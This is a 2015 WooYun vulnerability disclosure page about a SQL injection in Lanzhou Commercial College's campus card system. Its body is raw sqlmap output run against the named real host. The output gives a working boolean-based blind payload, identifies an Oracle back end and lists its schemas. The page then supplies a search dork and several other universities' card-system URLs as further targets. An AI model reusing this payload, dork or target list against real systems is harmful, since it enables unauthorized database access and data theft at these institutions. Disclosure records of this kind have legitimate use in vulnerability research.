当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091969

漏洞标题:兰州商学院一卡通系统sql注入

相关厂商:兰州商学院

漏洞作者: 路人甲

提交时间:2015-01-16 12:53

修复时间:2015-01-21 12:54

公开时间:2015-01-21 12:54

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:5

漏洞状态:已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-16: 细节已通知厂商并且等待厂商处理中
2015-01-21: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

sql

详细说明:

注入地址:ecard.lzcc.edu.cn/selfsearch/Index_main.aspx?NewsClassCode=2
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 02:30:23
[02:30:24] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\ecard.lzcc
.edu.cn\session' as session file
[02:30:24] [INFO] testing connection to the target url
[02:30:24] [INFO] testing if the url is stable, wait a few seconds
[02:30:26] [INFO] url is stable
[02:30:26] [INFO] testing if GET parameter 'NewsClassCode' is dynamic
[02:30:26] [INFO] confirming that GET parameter 'NewsClassCode' is dynamic
[02:30:26] [INFO] GET parameter 'NewsClassCode' is dynamic
[02:30:27] [WARNING] heuristic test shows that GET parameter 'NewsClassCode' mig
ht not be injectable
[02:30:27] [INFO] testing sql injection on GET parameter 'NewsClassCode'
[02:30:27] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:30:29] [INFO] GET parameter 'NewsClassCode' is 'AND boolean-based blind - WH
ERE or HAVING clause' injectable
[02:30:29] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[02:30:29] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:30:29] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[02:30:30] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[02:30:30] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:30:30] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[02:30:31] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[02:30:31] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:30:31] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:30:31] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[02:30:32] [INFO] testing 'Oracle AND time-based blind'
[02:30:32] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[02:30:35] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[02:30:35] [WARNING] using unescaped version of the test because of zero knowled
ge of the back-end DBMS. You can try to explicitly set it using the --dbms optio
n
[02:30:37] [INFO] checking if the injection point on GET parameter 'NewsClassCod
e' is a false positive
GET parameter 'NewsClassCode' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] y
sqlmap identified the following injection points with a total of 46 HTTP(s) requ
ests:
---
Place: GET
Parameter: NewsClassCode
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: NewsClassCode=2' AND 5018=5018 AND 'gRzD'='gRzD
---
[02:30:41] [INFO] testing MySQL
[02:30:41] [WARNING] the back-end DBMS is not MySQL
[02:30:41] [INFO] testing Oracle
[02:30:41] [INFO] confirming Oracle
[02:30:42] [INFO] the back-end DBMS is Oracle
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Oracle
[02:30:42] [WARNING] schema names are going to be used on Oracle for enumeration
as the counterpart to database names on other DBMSes
[02:30:42] [INFO] fetching database (schema) names
[02:30:42] [INFO] fetching number of databases
[02:30:42] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[02:30:42] [INFO] retrieved: 8
[02:30:46] [INFO] retrieved: CCENSE
[02:31:19] [INFO] retrieved: CTXSYS
[02:31:51] [INFO] retrieved: EXFSYS
[02:32:35] [INFO] retrieved: MDSYS
[02:33:03] [INFO] retrieved: OLAPSYS
[02:33:39] [INFO] retrieved: SYS
[02:33:57] [INFO] retrieved: SYSTEM
[02:34:30] [INFO] retrieved: WMSYS
available databases [8]:
[*] CCENSE
[*] CTXSYS
[*] EXFSYS
[*] MDSYS
[*] OLAPSYS
[*] SYS
[*] SYSTEM
[*] WMSYS
[02:34:58] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 41 times
[02:34:58] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\ecard.lzcc.edu.cn'
[*] shutting down at 02:34:58


inurl:Index_main.aspx?NewsClassCode=
http://202.101.244.45/selfsearch/Index_main.aspx?NewsClassCode=21
http://ecard.sdut.edu.cn/Index_main.aspx?NewsClassCode=3
http://ecard.sdca.edu.cn/Index_main.aspx?NewsClassCode=1
ecard.blcu.edu.cn/selfsearch/Index_main.aspx?NewsClassCode=22
ecard.bzmc.edu.cn/Index_main.aspx?NewsClassCode=7.........

漏洞证明:

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-01-21 12:54

厂商回复:

最新状态:

暂无